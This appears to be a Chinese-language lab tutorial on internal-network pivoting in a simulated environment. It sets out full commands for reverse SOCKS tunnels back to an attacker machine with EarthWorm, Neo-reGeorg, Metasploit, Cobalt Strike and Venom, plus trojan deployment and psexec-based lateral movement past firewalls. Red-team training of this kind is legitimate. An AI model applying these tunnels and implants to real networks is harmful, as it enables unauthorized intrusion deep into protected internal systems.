一、概念

简单的来说就是一共A,B,C三台主机,A主机可以和B主机通信,B主机和C主机可以通信,但是A和C不能通信,我们此时就可以让B主机充当一个中转,然后B作为一个代理服务器,我们A主机的流量转发到B主机,B主机再转发到C主机,从而实现A主机和C主机的访问

二、实验

1.实验环境的配置

dai-li-fu-wu-1xyz.png

整个网络拓补图如图所示,

这里我们的环境如下

攻击机:kali(192.168.68.128)

windows2003:我们使用win7代替,同时也开启一个web服务,用小皮面板(192.168.68.135,10.10.10.10)

win7(10.10.10.110;20.20.20.20)防火墙只允许80端口

win10(20.20.20.200)只允许smb的445端口

2.工具的使用

(这里我们假设已经通过msf等工具的漏洞拿下了控制权)不同的工具代表着不同的方法,灵活运用

1.ew的使用

我们先在msf的meterpreter中上传ew

upload -r /root/ew.exe C:\\Users\\admin\\Downloads

进入shell

shell
正向代理:

win2003(kali控制的meterpreter控制台中)

ew -s ssocksd -l 8888

这里我们使用正向代理,那么proxifier中的服务器地址和端口就写win2003的,反向代理写kali的

反向代理:

kali端:

ew -s rcsocks -l 1080 -e 7777

win2003端(kali控制的meterpreter)

ew -s rssocksd -d 192.168.68.128 -l 7777

注意,先启动kali端,在启动win2003端,正向代理和反向代理根据情况选择

然后在proxifier中添加代理,代理通过才可以访问第一层内网

dai-li-fu-wu-2.png

此时我们浏览器访问win2003的10.10.10.10发现可以成功访问

dai-li-fu-wu-3.png

2.Neo-reGeorg+Proxifier

我使用的是这个项目的脚本https://github.com/L-codes/Neo-reGeorg

生成代理脚本,-k后面的test是我设置的密码,可以自由修改,(如果运行失败,先安装一下依赖,参考项目说明)

python neoreg.py generate -k test

把生成的项目脚本上传到服务器目录,根据技术栈选择对应脚本,然后启动代理,使用设置的密码,设置代理端口,-u是服务器的代理脚本链接

python neoreg.py  -p 9999 -k test -u http://192.168.68.135/tunnel.php

可以在浏览器代理插件或者proxifier设置代理就可以访问10.10.10.10靶机了

dai-li-fu-wu-4.png

3.Cobalt Strike代理转发上线

这个方法就比较简单了,但是经常掉线,主要适用于拿到了链接外网的服务器的控制权,提权后的使用,使用带S的payload生成木马然后直接上传到目标靶机就可以使用了,这里我就跳过木马生成的步骤了

然后客户端运行木马上线,设置代理转发

dai-li-fu-wu-5.png

点击socks代理,然后选择socks5,点击启动,在proxifier上配置代理,地址是cobalt strike的服务端的ip,端口选择设置的端口

dai-li-fu-wu-6.png

然后就可以访问第一层内网了

4.MSF路由模块

首先msf连接木马进入meterpreter,执行

查看当前路由

run autoroute -p

添加路由

run post/multi/manage/autoroute
dai-li-fu-wu-7.png

把会话挂后台 background

调用msf

use auxiliary/server/socks_proxy 

option中有个SRVPORT可以自由设定,我选择默认

启动代理

run auxiliary/server/socks_proxy 
dai-li-fu-wu-8.png

配置代理,访问成功

dai-li-fu-wu-9.png

5.venom的使用

这个工具其实和ew效果一样,只不过他的功能更强,可以创建多层代理,端口复用,更为隐蔽

项目地址:https://github.com/Dliv3/Venom/

首先把agent端上传到win2003,admin端上传到kali

kali端监听:admin -lport 7878

win2003进入上传的目录执行:agent -rhost 192.168.68.128 -rport 7878

连接成功后kali显示:

[+]Remote connection:  192.168.68.135:49786
[+]A new node connect to admin node success

我们输入list查看连接id,查到id是1

输入goto 1进入连接,输入socks 9898显示

a socks5 proxy of the target node has started up on the local port 9898.

我们在kali端测试访问curl -x socks5h://127.0.0.1:9898 http://10.10.10.10

成功返回网页内容!

进阶使用:多层代理

用venom可以实现多层代理,最终kali可以直接通过代理访问win10,本质就是把流量通过层层代理不断转发

kali启动服务端:admin -lport 9999

win2003:agent.exe -rhost <Kali_IP> -rport 9999

win2003上线后,kali的admin控制台执行show-->goto 1 -->listen 8888

win7:agent.exe -rhost 10.10.10.10 -rport 8888

kali的admin控制台:goto 2 --> socks 6767

检验:

这里我在20.20.20.20上放了一个网页,kali的终端输入,

curl -x socks5h://127.0.0.1:6767 http://20.20.20.20

有响应,代理成功

三、最终效果实现

这里只展示代理的使用,把木马直接上传到目标,中间的过程比较复杂,先省略

突破win7防火墙,上线win7

我们先用cobalt strike生成一个payload为stageless的exe文件,然后通过webshell等手段上传到win2003运行,成功上线

dai-li-fu-wu-10.png

随后右键会话选择转发上线,起一个名字即可,这样针对win7的监听器就创建好了

然后在创建一个stageless的exe,监听器选择刚刚创建的,点击generate并保存木马

dai-li-fu-wu-11.png

传到win7并运行就可以成功上线了

突破win10防火墙,上线win10

新建一个smb协议的监听器,然后生成一个stageless的exe,监听器选择刚刚创建的smb协议的监听器

dai-li-fu-wu-12.png

把生成的payload在cs中上传到win10

1. 使用 jump psexec_psh 20.20.20.200 win1012

2. Win10作为SMB客户端连接Win7,绕过入站限制

此时,win7和win2003会在cobalt strike上掉线两次,然后win10就成功上线了

dai-li-fu-wu-13.png